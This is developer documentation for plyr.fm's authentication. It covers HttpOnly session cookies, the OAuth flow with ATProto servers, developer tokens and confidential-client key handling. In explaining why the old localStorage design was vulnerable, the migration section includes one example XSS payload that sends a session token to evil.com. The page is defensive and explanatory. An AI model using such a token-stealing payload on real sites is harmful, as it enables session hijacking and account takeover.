audio streaming app plyr.fm
1# authentication 2 3plyr.fm uses secure cookie-based authentication to protect user sessions from XSS attacks. 4 5## overview 6 7**flow**: 81. user initiates OAuth login via `/auth/start?handle={handle}` 92. backend redirects to user's PDS for authorization 103. PDS redirects back to `/auth/callback` with authorization code 114. backend exchanges code for OAuth tokens, creates session 125. backend ensures Artist record exists (creates minimal record if needed) 136. backend creates one-time exchange token, redirects to frontend 147. frontend calls `/auth/exchange` with exchange token 158. backend sets HttpOnly cookie and returns session_id 169. all subsequent requests automatically include cookie 17 18```mermaid 19sequenceDiagram 20 autonumber 21 participant U as User Browser 22 participant FE as Frontend (Svelte) 23 participant API as Backend API 24 participant PDS as User PDS 25 participant DB as Session DB 26 27 U->>FE: Visit /portal (unauthenticated) 28 FE->>API: GET /auth/start?handle=handle 29 API-->>U: 307 redirect to PDS authorize 30 U->>PDS: Approve OAuth request 31 PDS-->>API: /auth/callback (code, state, iss) 32 API->>PDS: POST /oauth/token 33 API->>DB: INSERT session (encrypted tokens) 34 API-->>U: 303 redirect /portal?exchange_token=… 35 FE->>API: POST /auth/exchange {exchange_token} 36 API->>DB: UPDATE exchange token (mark used) 37 API-->>FE: Set-Cookie session_id=… (HttpOnly) 38 FE->>API: Subsequent fetches w/ credentials: include 39 API->>DB: SELECT session via cookie 40 API-->>FE: JSON response (tracks, likes, uploads…) 41``` 42 43### artist record creation 44 45every OAuth callback (login, add-account, scope upgrade, dev token) ensures an Artist record exists via `ensure_artist_exists(did, handle)`. this creates a minimal record (DID, handle, display name, avatar) if one doesn't exist. 46 47**why this matters**: Artist records are needed to display handles (instead of DIDs) in: 48- share link stats (who clicked/played your shared links) 49- track likers tooltip 50- commenters tooltip 51- any other user-facing display 52 53without this, users who authenticate but skip profile setup would show as raw DIDs like `did:plc:abc123` instead of their handle `@alice.bsky.social`. 54 55**implementation**: `backend/_internal/auth.py:ensure_artist_exists()` runs immediately after `handle_oauth_callback()`, before any flow-specific logic. profile setup (`POST /artists/me`) updates the existing record rather than creating a new one. 56 57**key security properties**: 58- session tokens stored in HttpOnly cookies (not accessible to JavaScript) 59- cookies use `Secure` flag (HTTPS only in production) 60- cookies use `SameSite=Lax` (CSRF protection) 61- no explicit domain set (prevents cross-environment leakage) 62- frontend never touches session_id in localStorage or JavaScript 63 64## backend implementation 65 66### setting cookies 67 68cookies are set in `/auth/exchange` after validating the one-time exchange token: 69 70```python 71# src/backend/api/auth.py 72if is_browser and settings.frontend.url: 73 is_localhost = settings.frontend.url.startswith("http://localhost") 74 75 response.set_cookie( 76 key="session_id", 77 value=session_id, 78 httponly=True, 79 secure=not is_localhost, # secure cookies require HTTPS 80 samesite="lax", 81 max_age=14 * 24 * 60 * 60, # 14 days 82 ) 83``` 84 85**environment behavior**: 86- **localhost**: `secure=False` (HTTP development) 87- **staging/production**: `secure=True` (HTTPS required) 88- **no domain parameter**: cookies scoped to exact host (prevents staging→production leakage) 89 90### reading cookies 91 92auth dependencies check cookies first, fall back to Authorization header: 93 94```python 95# src/backend/_internal/auth.py 96async def require_auth( 97 authorization: Annotated[str | None, Header()] = None, 98 session_id: Annotated[str | None, Cookie(alias="session_id")] = None, 99) -> Session: 100 """require authentication with cookie (browser) or header (SDK/CLI) support.""" 101 session_id_value = None 102 103 if session_id: # check cookie first 104 session_id_value = session_id 105 elif authorization and authorization.startswith("Bearer "): 106 session_id_value = authorization.removeprefix("Bearer ") 107 108 if not session_id_value: 109 raise HTTPException(status_code=401, detail="not authenticated") 110 111 session = await get_session(session_id_value) 112 if not session: 113 raise HTTPException(status_code=401, detail="invalid or expired session") 114 115 return session 116``` 117 118**parameter aliasing**: `Cookie(alias="session_id")` tells FastAPI to look for a cookie named `session_id` (not the parameter name). 119 120### optional auth endpoints 121 122endpoints that show different data for authenticated vs anonymous users: 123 124```python 125# src/backend/api/tracks.py 126@router.get("/") 127async def list_tracks( 128 db: Annotated[AsyncSession, Depends(get_db)], 129 request: Request, 130 session_id_cookie: Annotated[str | None, Cookie(alias="session_id")] = None, 131) -> dict: 132 # check cookie or header 133 session_id = ( 134 session_id_cookie 135 or request.headers.get("authorization", "").replace("Bearer ", "") 136 ) 137 138 # optional auth logic 139 if session_id and (auth_session := await get_session(session_id)): 140 # fetch liked tracks for authenticated user 141 liked_track_ids = set(...) 142``` 143 144**examples**: 145- `/tracks/` - shows liked state if authenticated 146- `/tracks/{track_id}` - shows liked state if authenticated 147- `/albums/{handle}/{slug}` - shows liked state for album tracks if authenticated 148 149## frontend implementation 150 151### sending cookies 152 153all requests include `credentials: 'include'` to send cookies: 154 155```typescript 156// frontend/src/lib/auth.svelte.ts 157const response = await fetch(`${API_URL}/auth/me`, { 158 credentials: 'include' // send cookies 159}); 160``` 161 162```typescript 163// frontend/src/lib/uploader.svelte.ts (XMLHttpRequest) 164const xhr = new XMLHttpRequest(); 165xhr.open('POST', `${API_URL}/tracks/`); 166xhr.withCredentials = true; // send cookies 167``` 168 169### no localStorage 170 171the frontend **never** reads or writes `session_id` to localStorage: 172 173```typescript 174// ❌ OLD (vulnerable to XSS) 175localStorage.setItem('session_id', sessionId); 176const sessionId = localStorage.getItem('session_id'); 177headers['Authorization'] = `Bearer ${sessionId}`; 178 179// ✅ NEW (secure) 180// cookies automatically sent with credentials: 'include' 181// no manual session management needed 182``` 183 184### auth state management 185 186auth state is checked via `/auth/me`: 187 188```typescript 189// frontend/src/lib/auth.svelte.ts 190async initialize() { 191 try { 192 const response = await fetch(`${API_URL}/auth/me`, { 193 credentials: 'include' 194 }); 195 196 if (response.ok) { 197 const data = await response.json(); 198 this.user = { did: data.did, handle: data.handle }; 199 this.isAuthenticated = true; 200 } 201 } catch (error) { 202 this.isAuthenticated = false; 203 } 204} 205``` 206 207## environment architecture 208 209all environments use custom domains on the same eTLD+1 (`.plyr.fm`) to enable cookie sharing between frontend and backend within each environment: 210 211### staging 212- **frontend**: `stg.plyr.fm` (cloudflare pages project: `plyr-fm-stg`) 213- **backend**: `api-stg.plyr.fm` (fly.io app: `relay-api-staging`) 214- **cookie domain**: implicit (scoped to `api-stg.plyr.fm`) 215- **CORS**: backend allows `https://stg.plyr.fm` 216 217### production 218- **frontend**: `plyr.fm` (cloudflare pages project: `plyr-fm`) 219- **backend**: `api.plyr.fm` (fly.io app: `relay-api`) 220- **cookie domain**: implicit (scoped to `api.plyr.fm`) 221- **CORS**: backend allows `https://plyr.fm` and `https://www.plyr.fm` 222 223### local development 224- **frontend**: `localhost:5173` (bun dev server) 225- **backend**: `localhost:8001` (uvicorn) 226- **cookie domain**: implicit (scoped to `localhost`) 227- **CORS**: backend allows `http://localhost:5173` 228 229**why no explicit domain?** 230 231omitting the `domain` parameter prevents cookies from being shared across environments: 232- staging cookie (`api-stg.plyr.fm`) **not** sent to production (`api.plyr.fm`) 233- production cookie (`api.plyr.fm`) **not** sent to staging (`api-stg.plyr.fm`) 234 235if we set `domain=".plyr.fm"`, cookies would be shared across **all** subdomains, causing session leakage between environments. 236 237## why SameSite=Lax? 238 239`SameSite=Lax` provides CSRF protection while allowing same-site requests: 240 241- **allows**: navigation from `stg.plyr.fm``api-stg.plyr.fm` (same eTLD+1) 242- **allows**: fetch with `credentials: 'include'` from same origin 243- **blocks**: cross-site POST requests (CSRF protection) 244- **blocks**: cookies from being sent to completely different domains 245 246**alternative: SameSite=None** 247- required for cross-site cookies (e.g., embedding widgets from external domains) 248- not needed for plyr.fm since frontend and backend are same-site 249- less secure (allows cross-site requests) 250 251## why HttpOnly? 252 253`HttpOnly` cookies cannot be accessed by JavaScript: 254 255```javascript 256// ❌ cannot read HttpOnly cookies 257console.log(document.cookie); // session_id not visible 258 259// ✅ cookies still sent automatically 260fetch('/auth/me', { credentials: 'include' }); 261``` 262 263**protects against**: 264- XSS attacks stealing session tokens 265- malicious scripts exfiltrating credentials 266- account takeover via stolen sessions 267 268**does NOT protect against**: 269- CSRF (use SameSite for that) 270- man-in-the-middle attacks (use Secure flag + HTTPS) 271- session fixation (use secure random session IDs) 272 273## migration from localStorage 274 275issue #237 tracked the migration from localStorage to cookies. 276 277**old flow** (vulnerable): 2781. `/auth/exchange` returns `{ session_id: "..." }` 2792. frontend stores in localStorage: `localStorage.setItem('session_id', sessionId)` 2803. every request: `headers['Authorization'] = Bearer ${localStorage.getItem('session_id')}` 2814. ❌ any XSS payload can steal: `fetch('https://evil.com?token=' + localStorage.getItem('session_id'))` 282 283**new flow** (secure): 2841. `/auth/exchange` sets HttpOnly cookie AND returns `{ session_id: "..." }` 2852. frontend does nothing with session_id (only for SDK/CLI clients) 2863. every request: `credentials: 'include'` sends cookie automatically 2874. ✅ JavaScript cannot access session_id 288 289**backwards compatibility**: 290- backend still returns `session_id` in response body for non-browser clients 291- backend accepts both cookies and Authorization headers 292- SDK/CLI clients unaffected (continue using headers) 293 294## security checklist 295 296authentication implementation checklist: 297 298- [x] cookies use `HttpOnly` flag 299- [x] cookies use `Secure` flag in production 300- [x] cookies use `SameSite=Lax` or `SameSite=Strict` 301- [x] no explicit `domain` set (prevents cross-environment leakage) 302- [x] frontend sends `credentials: 'include'` on all requests 303- [x] frontend never reads/writes session_id to localStorage 304- [x] backend checks cookies before Authorization header 305- [x] CORS configured per environment (only allow same-origin) 306- [x] session tokens are cryptographically random 307- [x] sessions expire after reasonable time (14 days) 308- [x] logout properly deletes cookies 309 310## testing 311 312### manual testing 313 314**test cookie is set**: 3151. log in at https://stg.plyr.fm 3162. open DevTools → Application → Cookies → `https://api-stg.plyr.fm` 3173. verify `session_id` cookie exists with: 318 - HttpOnly: ✓ 319 - Secure: ✓ 320 - SameSite: Lax 321 - Path: / 322 - Domain: api-stg.plyr.fm (no leading dot) 323 324**test cookie is sent**: 3251. stay logged in 3262. open DevTools → Network tab 3273. navigate to `/portal` or any authenticated page 3284. inspect request to `/auth/me` 3295. verify `Cookie: session_id=...` header is present 330 331**test cross-environment isolation**: 3321. log in to staging at https://stg.plyr.fm 3332. open https://plyr.fm (production) 3343. verify you are NOT logged in (staging cookie not sent to production) 335 336## troubleshooting 337 338### cookies not being set 339 340**symptom**: `/auth/exchange` returns 200 but no cookie in DevTools 341 342**check**: 3431. is `FRONTEND_URL` environment variable set? 344 ```bash 345 flyctl ssh console -a relay-api-staging 346 echo $FRONTEND_URL 347 ``` 3482. is request from a browser (user-agent header)? 3493. is response using HTTPS in production (Secure flag requires it)? 350 351### cookies not being sent 352 353**symptom**: `/auth/me` returns 401 even after login 354 355**check**: 3561. frontend using `credentials: 'include'`? 3572. CORS allowing credentials? 358 ```python 359 # backend MUST allow credentials 360 allow_credentials=True 361 ``` 3623. origin matches CORS regex? 3634. SameSite policy blocking request? 364 365### localhost cookies not working 366 367**symptom**: cookies work in staging/production but not localhost 368 369**check**: 3701. is `FRONTEND_URL=http://localhost:5173` set locally? 3712. frontend and backend both on `localhost` (not `127.0.0.1`)? 3723. backend using `secure=False` for localhost? 373 374## developer tokens (programmatic access) 375 376for scripts, CLIs, and automated workflows, create a long-lived developer token: 377 378### creating a token 379 380**via UI (recommended)**: 3811. go to portal → "your data" → "developer tokens" section 3822. optionally enter a name (e.g., "upload-script", "ci-pipeline") 3833. select expiration (30/90/180/365 days or never) 3844. click "create token" 3855. **authorize at your PDS** (you'll be redirected to approve the OAuth grant) 3866. copy the token immediately after redirect (shown only once) 387 388**via API**: 389```javascript 390// step 1: start OAuth flow (returns auth_url to redirect to) 391const response = await fetch('/auth/developer-token/start', { 392 method: 'POST', 393 headers: {'Content-Type': 'application/json'}, 394 credentials: 'include', 395 body: JSON.stringify({ name: 'my-script', expires_in_days: 90 }) 396}); 397const { auth_url } = await response.json(); 398// step 2: redirect user to auth_url to authorize at their PDS 399// step 3: on callback, token is returned via exchange flow 400``` 401 402### managing tokens 403 404**list active tokens**: 405the portal shows all your active developer tokens with: 406- token name (or auto-generated identifier) 407- creation date 408- expiration date 409 410**revoke a token**: 4111. go to portal → "your data" → "developer tokens" 4122. find the token in the list 4133. click "revoke" to immediately invalidate it 414 415**via API**: 416```bash 417# list tokens 418curl -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/developer-tokens 419 420# revoke by prefix (first 8 chars shown in list) 421curl -X DELETE -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/developer-tokens/abc12345 422``` 423 424### using tokens 425 426set the token in your environment: 427```bash 428export PLYR_TOKEN="your_token_here" 429``` 430 431use with any authenticated endpoint: 432```bash 433# check auth 434curl -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/me 435``` 436 437**CLI usage** (`scripts/plyr.py`): 438```bash 439# list your tracks 440PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py list 441 442# upload a track 443PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py upload track.mp3 "My Track" 444 445# download a track 446PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py download 42 -o my-track.mp3 447 448# delete a track 449PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py delete 42 -y 450``` 451 452### configuration 453 454backend settings in `AuthSettings`: 455- `developer_token_default_days`: default expiration (90 days) 456- `developer_token_max_days`: max allowed expiration (365 days) 457- use `expires_in_days: 0` to request the maximum allowed by refresh lifetime 458 459### how it works 460 461developer tokens are sessions with their own independent OAuth grant — **not app passwords**. when you create a dev token, you go through a full OAuth authorization flow at your PDS, which gives the token its own access/refresh credentials. this means: 462- dev tokens can refresh independently (no staleness when browser session refreshes) 463- each token has its own DPoP keypair for request signing 464- browser logout/revocation doesn't affect dev tokens (cookie isolation) 465 466### scoping 467 468developer tokens are **scoped to plyr.fm's lexicon namespace** via ATProto OAuth. the grant requests only the collections plyr.fm needs (e.g. `atproto blob:*/* include:fm.plyr.authFullApp` via [permission sets](https://atproto.com/specs/oauth#permission-sets), or granular `repo:fm.plyr.track repo:fm.plyr.like ...` scopes as fallback). 469 470- **can** read/write plyr.fm data (tracks, likes, comments, playlists, profile) and upload blobs 471- **cannot** read or write your Bluesky posts, follows, blocks, or any other app's data 472- **cannot** modify your ATProto identity or account settings 473 474the PDS enforces these scopes at the protocol level — not just plyr.fm's API. rather than app passwords (full repo access, coupled to Bluesky), plyr.fm issues OAuth grants scoped to the minimum permissions needed. 475 476**security notes**: tokens grant full access to plyr.fm features, but are namespace-scoped at the protocol level. each token is independent — revoke individually via the portal or API. 477 478## OAuth client types: public vs confidential 479 480ATProto OAuth distinguishes between two types of clients based on their ability to authenticate themselves to the authorization server. 481 482### what is a confidential client? 483 484a **confidential client** is an OAuth client that can prove its identity to the authorization server using cryptographic keys. the term "confidential" means the client can keep a secret - specifically, an ES256 private key that never leaves the server. 485 486**public client** (default): 487- cannot authenticate itself (uses `token_endpoint_auth_method: "none"`) 488- anyone could impersonate your client_id 489- authorization server issues **2-week refresh tokens** 490 491**confidential client** (with `OAUTH_JWK`): 492- authenticates using `private_key_jwt` - signs a JWT with its private key 493- authorization server verifies signature against your `/.well-known/jwks.json` 494- proves the request actually came from your server 495- authorization server issues **180-day refresh tokens** 496 497### why this matters for plyr.fm 498 499with public clients, the underlying ATProto refresh token expires after 2 weeks regardless of what we store in our database. users would need to re-authenticate with their PDS every 2 weeks. 500 501with confidential clients: 502- **developer tokens work long-term** - not limited to 2 weeks 503- **users don't get randomly kicked out** after 2 weeks of inactivity 504- **sessions last up to refresh lifetime** as long as tokens are refreshed within 180 days 505 506### how it works 507 5081. **key generation**: generate an ES256 (P-256) keypair 509 ```bash 510 uv run python scripts/gen_oauth_jwk.py 511 ``` 512 5132. **configuration**: set `OAUTH_JWK` env var with the private key JSON 514 5153. **JWKS endpoint**: backend serves public key at `/.well-known/jwks.json` 516 - authorization server fetches this to verify our signatures 517 5184. **client metadata**: `/oauth-client-metadata.json` advertises: 519 ```json 520 { 521 "token_endpoint_auth_method": "private_key_jwt", 522 "token_endpoint_auth_signing_alg": "ES256", 523 "jwks_uri": "https://plyr.fm/.well-known/jwks.json" 524 } 525 ``` 526 5275. **token requests**: on every token request (initial AND refresh), the library: 528 - creates a short-lived JWT (`client_assertion`) signed with our private key 529 - includes `client_assertion_type` and `client_assertion` in the request 530 - PDS verifies signature → issues long-lived tokens 531 532### implementation details 533 534the confidential client support lives in our `atproto` fork (`zzstoatzz/atproto`): 535 536```python 537# packages/atproto_oauth/client.py 538client = OAuthClient( 539 client_id='https://plyr.fm/oauth-client-metadata.json', 540 redirect_uri='https://plyr.fm/auth/callback', 541 scope='atproto ...', 542 state_store=state_store, 543 session_store=session_store, 544 client_secret_key=ec_private_key, # enables confidential client 545) 546``` 547 548when `client_secret_key` is set, `_make_token_request()` automatically adds client assertions to all token endpoint calls (initial exchange, refresh, revoke). 549 550### key rotation 551 552for key rotation: 5531. generate new key with different `kid` (key ID) 5542. add both keys to JWKS (old and new) 5553. deploy - new tokens use new key, old tokens still verify 5564. after 180 days, remove old key from JWKS 557 558### token refresh mechanism 559 560plyr.fm automatically refreshes ATProto tokens when they expire. here's how it works: 561 5621. **trigger**: user makes a PDS request (upload, create record, etc.) 5632. **detection**: PDS returns `401 Unauthorized` with `"exp"` in error message (access token expired) 5643. **refresh**: `_refresh_session_tokens()` in `_internal/atproto/client.py`: 565 - acquires per-session lock (prevents race conditions) 566 - calls `OAuthClient.refresh_session()` with the refresh token 567 - for confidential clients: signs a client assertion JWT 568 - PDS verifies assertion → issues new tokens 569 - saves new tokens to database 5704. **retry**: original request retries with fresh tokens 571 572**what gets refreshed**: 573- **access token**: short-lived (~minutes), refreshed frequently 574- **refresh token**: long-lived (2 weeks public, 180 days confidential), rotated on each use 575 576**observability**: look for these log messages in logfire: 577- `"access token expired for did:plc:..., attempting refresh"` 578- `"refreshing access token for did:plc:..."` 579- `"successfully refreshed access token for did:plc:..."` 580 581### migration: deploying confidential client 582 583when deploying confidential client support, **existing sessions continue to work** but have limitations: 584 585| aspect | existing sessions | new sessions (post-deploy) | 586|--------|-------------------|---------------------------| 587| plyr.fm session | unchanged | unchanged | 588| ATProto refresh token | 2-week lifetime (public client) | 180-day lifetime (confidential) | 589| behavior at 2 weeks | refresh fails → re-auth needed | continues working | 590 591**what happens to existing tokens**: 5921. existing sessions were created as "public client" - the PDS issued 2-week refresh tokens 5932. those refresh tokens cannot be upgraded - they have a fixed expiration 5943. when the refresh token expires, the next PDS request will fail 5954. users will need to re-authenticate to get new sessions with 180-day refresh tokens 596 597**timeline example**: 598- dec 8: user creates dev token (public client, 2-week refresh) 599- dec 22: ATProto refresh token expires 600- user tries to upload → refresh fails → 401 error 601- user creates new dev token → now gets 180-day refresh 602 603**production impact** (as of deployment): 604- most browser sessions expire within 14 days anyway (cookie `max_age`) 605- developer tokens are affected most - they have 90+ day session expiry but 2-week refresh 606- only 3 long-lived dev tokens in production (internal accounts) 607- new sessions will automatically get 180-day refresh tokens 608 609### sources 610 611- [ATProto OAuth spec - tokens and session lifetime](https://atproto.com/specs/oauth#tokens-and-session-lifetime) 612- [RFC 7523 - JWT Bearer Client Authentication](https://datatracker.ietf.org/doc/html/rfc7523) 613- [bailey's ATProto SvelteKit template](https://tangled.org/baileytownsend.dev/atproto-sveltekit-template) - TypeScript reference implementation 614- PR #578: confidential OAuth client support 615 616## references 617 618- [MDN: HttpOnly cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security) 619- [MDN: SameSite cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#samesitesamesite-value) 620- [OWASP: Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html) 621- [ATProto OAuth spec](https://atproto.com/specs/oauth) 622- issue #237: secure browser auth storage 623- PR #239: frontend localStorage removal 624- PR #243: backend cookie implementation 625- PR #244: merged cookie-based auth 626- PR #367: developer tokens with independent OAuth grants